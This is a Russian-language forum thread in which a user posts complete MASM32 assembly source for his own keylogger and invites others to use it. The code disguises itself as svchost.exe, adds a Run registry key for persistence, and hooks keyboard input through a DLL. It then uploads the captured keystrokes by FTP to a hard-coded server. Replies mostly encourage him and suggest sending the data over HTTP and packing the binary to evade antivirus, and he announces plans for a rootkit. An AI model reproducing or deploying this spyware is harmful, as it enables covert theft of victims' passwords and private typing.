Поделюсь добром

Тема в разделе "WASM.HEAP", создана пользователем TatkoV, 16 май 2011.

  1. TatkoV

    TatkoV New Member

    Публикаций:
    0
    Регистрация:
    3 мар 2011
    Сообщения:
    16
    Доброго времени суток. У меня есть собственная разработка программы-шпиона, осуществляется перехват введённых с клавиатуры данных, и передача на фтп ресурс. Хотел бы поделится с народом. Возможно написать статью, мануал, как писать начинающим программистам. А то когда сам писал - находил исходники, но ничего конкретного и не особо понятно.
    Что скажет народ?
     
  2. Mnemorizer

    Mnemorizer New Member

    Публикаций:
    0
    Регистрация:
    27 апр 2011
    Сообщения:
    10
    TatkoV, вам на хабр
     
  3. qqwe

    qqwe New Member

    Публикаций:
    0
    Регистрация:
    2 янв 2009
    Сообщения:
    2.914
    TatkoV
    народ скажет - пишите, делитесь. за это не пристрелят, а может и похвалят.
     
  4. TrashGen

    TrashGen ТрещГен

    Публикаций:
    0
    Регистрация:
    15 мар 2011
    Сообщения:
    1.185
    Адрес:
    подполье
    Ну можно канешна рассказать какие например кнопки нажимать, например, чтобы компоненты добавлять в делфи, мы все с радостью прочитаем и обсудим. Вы пишите не стесняйтесь. После инде-вх.народ.ру/лог.тхт нам все равно уже ничего не смешно.
     
  5. TatkoV

    TatkoV New Member

    Публикаций:
    0
    Регистрация:
    3 мар 2011
    Сообщения:
    16
    Основная программа:
    Код (Text):
    1. .386
    2. .model flat,stdcall
    3. option casemap:none
    4. include \masm32\include\windows.inc
    5. include \masm32\include\kernel32.inc
    6. includelib \masm32\lib\kernel32.lib
    7.  
    8. include \masm32\include\user32.inc
    9. includelib \masm32\lib\user32.lib
    10.  
    11. include \masm32\include\advapi32.inc
    12. includelib \masm32\lib\advapi32.lib
    13.  
    14. include \masm32\include\Wininet.inc
    15. includelib \masm32\lib\Wininet.lib
    16.  
    17.  
    18. .data
    19. FileNameDLL db "wmmreg.dll",0
    20. FileName db "svchost.exe",0
    21. lpProcName db "TestFunction",0
    22. hWnd DWORD 0
    23. lpExistingFileName db "C:\svchost.exe",0
    24. lpExistingFileNamelib db "C:\wmmreg.dll",0
    25. reg db "Software\Microsoft\Windows\CurrentVersion\Run", 0
    26.  
    27.  
    28. LPWIN32_FIND_DATA WIN32_FIND_DATA <>
    29. TIME SYSTEMTIME <>
    30. ip db "195.192.168.1",0 ; айпи адрес фтп сервера
    31. login db "anonymous",0
    32. password db "mail@mail.ru",0
    33. client_file_name db "C:\Program Files\cdrwin5.txt",0
    34. serwer_file_name db "/incoming/cdrwin5.txt",0
    35. Hour dw 21
    36. Minute dw 21
    37. Second dw 21
    38. servise db "FTP",0
    39. lpdwProcessId PDWORD ?
    40. dwThreadId DWORD ?
    41. lpfn HOOKPROC ?
    42. hMod HINSTANCE ?
    43.  nameFile BYTE  256 dup (?)
    44.  hhk HHOOK ?
    45. hFindFile HANDLE ?
    46. hKeys DWORD ?
    47. nInet_Handle DWORD ?
    48.  lnSession DWORD ?
    49.  .code
    50. start:
    51.  invoke LoadLibraryA, addr FileNameDLL
    52.  mov hMod,eax ;Дескриптор модуля DLL
    53.  invoke GetModuleFileNameA, NULL, addr nameFile, 256
    54.  invoke CopyFileA, addr nameFile, addr lpExistingFileName, FALSE
    55.  invoke FindFirstFileA, addr FileNameDLL, addr LPWIN32_FIND_DATA
    56.  mov hFindFile, eax
    57. invoke CopyFileA, addr LPWIN32_FIND_DATA.cFileName, addr lpExistingFileNamelib, FALSE
    58.  invoke FindClose, hFindFile
    59. invoke RegCreateKeyExA,HKEY_CURRENT_USER, addr reg,0,NULL,0,KEY_ALL_ACCESS, NULL, addr hKeys,NULL
    60.  invoke lstrlenA, addr lpExistingFileName
    61. inc eax
    62. invoke RegSetValueExA,hKeys,addr FileName,0,REG_SZ, addr lpExistingFileName,eax
    63.  invoke RegCloseKey, hKeys
    64. @m1:
    65. invoke GetForegroundWindow
    66.     cmp hWnd, eax
    67.     JE  @m2
    68.     mov hWnd, eax
    69. invoke GetWindowThreadProcessId, hWnd, lpdwProcessId
    70.     mov dwThreadId, eax
    71. invoke GetProcAddress, hMod, addr lpProcName
    72.     mov lpfn, eax
    73.     cmp hWnd, eax
    74.     JE  @m2
    75.     mov hWnd, eax
    76. invoke SetWindowsHookExA, WH_KEYBOARD, lpfn, hMod, dwThreadId
    77.     mov hhk, eax
    78. invoke GetLocalTime,  addr TIME
    79.  
    80.     mov ax, Hour
    81.     cmp TIME.wHour, ax
    82.     JNE @m2
    83.     mov ax, Minute
    84.     cmp TIME.wMinute,  ax
    85.     JNE @m2
    86.     mov ax, Second
    87.     cmp TIME.wSecond,  ax
    88.     JNE @m2
    89. invoke InternetOpenA, addr servise, 1, NULL, NULL, 0
    90.     mov nInet_Handle, eax
    91. invoke  InternetConnectA,nInet_Handle,addr ip, 21, addr login, addr password, INTERNET_SERVICE_FTP,0, 1
    92.     mov lnSession, eax
    93. invoke FtpPutFileA, lnSession, addr client_file_name, addr serwer_file_name, FTP_TRANSFER_TYPE_ASCII, INTERNET_FLAG_NEED_FILE
    94. invoke InternetCloseHandle,lnSession
    95. invoke InternetCloseHandle,nInet_Handle
    96. @m2:
    97. invoke Sleep, 1000
    98. JMP @m1
    99. invoke FreeLibrary, hMod
    100. invoke ExitProcess, NULL
    101. end start
    Файл библиотеки:
    Код (Text):
    1.    .386
    2.    .model flat,stdcall
    3.  
    4.    option casemap:none
    5.    include \masm32\include\windows.inc
    6.    include \masm32\include\user32.inc
    7.    include \masm32\include\kernel32.inc
    8.    
    9.  
    10.    includelib \masm32\lib\user32.lib
    11.    includelib \masm32\lib\kernel32.lib
    12.  
    13.  
    14.    .data
    15. CrkPrg db "f:\me\cdrwin5.txt",0
    16. EndOfFile db 0Dh,0Ah
    17. hWnd    HWND 0
    18. TIME SYSTEMTIME <>
    19.    .data?
    20. hhk HHOOK ?
    21. hFile HANDLE ?
    22. lpNumberOfBytesWritten LPDWORD ?
    23. lpNumberOfBytesWritten2 LPDWORD ?
    24. nNumberOfBytesToWrite DWORD ?
    25. Ui db ?
    26. lpFilename BYTE  256 dup (?)
    27. pwszKLID LPTSTR ?
    28. dwhkl HKL ?
    29. lpKeyState PBYTE 255 dup (?)
    30. pwszBuff LPWSTR ?
    31. lpChar LPWORD  ?
    32.    .code
    33.    DllEntry proc hInstDLL:HINSTANCE, reason:DWORD, reserved1:DWORD
    34.            mov  eax,TRUE
    35.      
    36.            ret
    37.    DllEntry Endp
    38.  
    39. TestFunction proc code:DWORD, wParam:WPARAM, lParam:LPARAM
    40.     push ebp
    41.     mov ebp, esp
    42.     push ebx
    43.     push esi
    44.     push edi
    45.     mov  hhk, eax
    46.     cmp code, 0
    47.     JL @m1
    48.  
    49.  
    50.  
    51. invoke  GetAsyncKeyState, lParam
    52.     and EAX,0000000Fh
    53.     cmp eax, 1
    54.     JNE @m1
    55. invoke  GetKeyboardLayoutName, addr pwszKLID
    56.  
    57. invoke  LoadKeyboardLayout, addr pwszKLID, KLF_SUBSTITUTE_OK
    58.     mov dwhkl, eax 
    59.  
    60.  
    61.  
    62. invoke  GetKeyboardState, addr lpKeyState
    63.  
    64. invoke  ToAsciiEx,  lParam,  wParam, addr lpKeyState, addr lpChar, 1, dwhkl
    65.     mov eax, lpChar
    66.     mov Ui, al
    67.     mov eax, lParam
    68.     and eax, 000000FFh
    69.     cmp al, 0h
    70.     JE @m1
    71.     cmp al, 3h
    72.     JE @m1
    73.     cmp al, 9h
    74.     JE @m1
    75.     cmp al, 8h
    76.     JE @m1
    77.     cmp al, 0Dh
    78.     JE @m1
    79.     cmp al, 0Ah
    80.     JE @m1
    81.     cmp al, 10h
    82.     JE  @m1
    83.     cmp al, 11h
    84.     JE @m1
    85.     cmp al, 12h
    86.     JE @m1
    87.     cmp al, 23h
    88.     JE @m1
    89.  
    90.     invoke GetForegroundWindow
    91.     cmp hWnd, eax
    92.     JE  @m2
    93.     mov hWnd, eax
    94.    
    95. invoke GetModuleFileName, NULL, addr lpFilename, 256
    96.     mov nNumberOfBytesToWrite, eax
    97.  
    98. invoke  CreateFile, addr CrkPrg, GENERIC_WRITE, NULL, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL
    99.     mov hFile, eax
    100.  
    101. invoke  SetFilePointer, hFile, 0, NULL, FILE_END
    102.  
    103. invoke WriteFile, hFile, addr EndOfFile, 2, addr lpNumberOfBytesWritten2, NULL 
    104. invoke  SetFilePointer, hFile, 0, NULL, FILE_END
    105.  
    106. invoke lstrlen, addr lpFilename
    107.     inc eax
    108. invoke WriteFile, hFile, addr lpFilename, eax, addr lpNumberOfBytesWritten2, NULL
    109.  
    110. invoke  SetFilePointer, hFile, 0, NULL, FILE_END
    111.  
    112. invoke WriteFile, hFile, addr EndOfFile, 2, addr lpNumberOfBytesWritten2, NULL
    113.  
    114. invoke CloseHandle, hFile
    115.  
    116. @m2:   
    117. invoke  CreateFile, addr CrkPrg, GENERIC_WRITE, NULL, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL
    118.     mov hFile, eax
    119.    
    120. invoke  SetFilePointer, hFile, 0, NULL, FILE_END
    121.  
    122.  
    123. invoke WriteFile, hFile, addr Ui, 1, addr lpNumberOfBytesWritten, NULL
    124.  
    125. invoke CloseHandle, hFile
    126.  
    127.  
    128.  
    129. @m1:
    130.  
    131. invoke  CallNextHookEx, hhk, code, wParam, lParam
    132.  
    133. invoke UnhookWindowsHookEx, hhk
    134.    
    135.     pop edi
    136.     pop esi
    137.     pop ebx
    138.     pop ebp
    139.        ret 12
    140. TestFunction endp
    141.  
    142.  
    143.  
    144.  
    145.    End DllEntry
    Всё достаточно просто, использовался масм32.
    Не судите строго.
     
  6. TatkoV

    TatkoV New Member

    Публикаций:
    0
    Регистрация:
    3 мар 2011
    Сообщения:
    16
    есть программка, билдер, реализована на делфи, с кнопочками и полями(в которых определяютсявсе параметры программы), которая делает .ехе файл.
    но єто маленькое чудо 4.5 Кбайта не одобряется антивирусами.
    Думаю написать руткит, есть несколько уникальных идей.
     
  7. onSide

    onSide New Member

    Публикаций:
    0
    Регистрация:
    18 июн 2008
    Сообщения:
    476
    ну ну, ждем))
     
  8. K10

    K10 New Member

    Публикаций:
    0
    Регистрация:
    3 окт 2008
    Сообщения:
    1.590
    почему на фтп?
    наверно потому что чем то запаковано или потому что в теле в открытом виде находятся твои бинарники
     
  9. TatkoV

    TatkoV New Member

    Публикаций:
    0
    Регистрация:
    3 мар 2011
    Сообщения:
    16
    Ну не знаю, изначально так придумал и реализовал, удобней было бы отправлять на почту.

    ничем не паковал..А надо бы, потому что в отладчике видно все данные тела программы, айпи адрес и т.д.

    как напишу сразу же узнаете)
     
  10. K10

    K10 New Member

    Публикаций:
    0
    Регистрация:
    3 окт 2008
    Сообщения:
    1.590
    TatkoV
    по HTTP вобщето отправляют
     
  11. JCronuz

    JCronuz New Member

    Публикаций:
    0
    Регистрация:
    26 сен 2007
    Сообщения:
    1.240
    Адрес:
    Russia
    Блин какова гадость то, а?!
     
  12. K10

    K10 New Member

    Публикаций:
    0
    Регистрация:
    3 окт 2008
    Сообщения:
    1.590
    JCronuz
    чел начинающий, если вы сделали что-то лучше, выкладывайте, посмотрим)
     
  13. gaeprust

    gaeprust New Member

    Публикаций:
    0
    Регистрация:
    2 май 2011
    Сообщения:
    188
    JCronuz
    Все мы с этого начинали.
     
  14. JCronuz

    JCronuz New Member

    Публикаций:
    0
    Регистрация:
    26 сен 2007
    Сообщения:
    1.240
    Адрес:
    Russia
    Уже выложили, там reverscode расскрыл завесу :lol:

    gaeprust

    Меня терзают смутные сомнения :) Праба́чце, Як ваша имя́?
     
  15. gaeprust

    gaeprust New Member

    Публикаций:
    0
    Регистрация:
    2 май 2011
    Сообщения:
    188
    JCronuz
    Нас тоже терзают сомнения. Что такое как вы, делает на васме. Пост без кода это спам..
     
  16. TatkoV

    TatkoV New Member

    Публикаций:
    0
    Регистрация:
    3 мар 2011
    Сообщения:
    16
    JCronuz
    Можете более раскрыть свою точку зрения и объяснить что вам не нравиться.
    Проверок результата функций нет - решил сэкономить на размере программы.
     
  17. TatkoV

    TatkoV New Member

    Публикаций:
    0
    Регистрация:
    3 мар 2011
    Сообщения:
    16
    Я писал по поводу билдера, которым можно собрать программу с определёнными настройками. Хочу спросить: "народ, заливать ли его" ?
     
  18. JCronuz

    JCronuz New Member

    Публикаций:
    0
    Регистрация:
    26 сен 2007
    Сообщения:
    1.240
    Адрес:
    Russia
    Заливай
     
  19. TatkoV

    TatkoV New Member

    Публикаций:
    0
    Регистрация:
    3 мар 2011
    Сообщения:
    16
    Подскажите как присоединить файл к сообщению.
     
  20. JCronuz

    JCronuz New Member

    Публикаций:
    0
    Регистрация:
    26 сен 2007
    Сообщения:
    1.240
    Адрес:
    Russia
    gaeprust
    Аналогично, ниже по тексту

    gaeprust
    Всех больше терзает, что Вам не имется:
    то всех "обосрали" и ушли хлопннув дверью со словами не вернусь я к Вам "дебилам", то снова вернулись под другим ником, сами думайте :)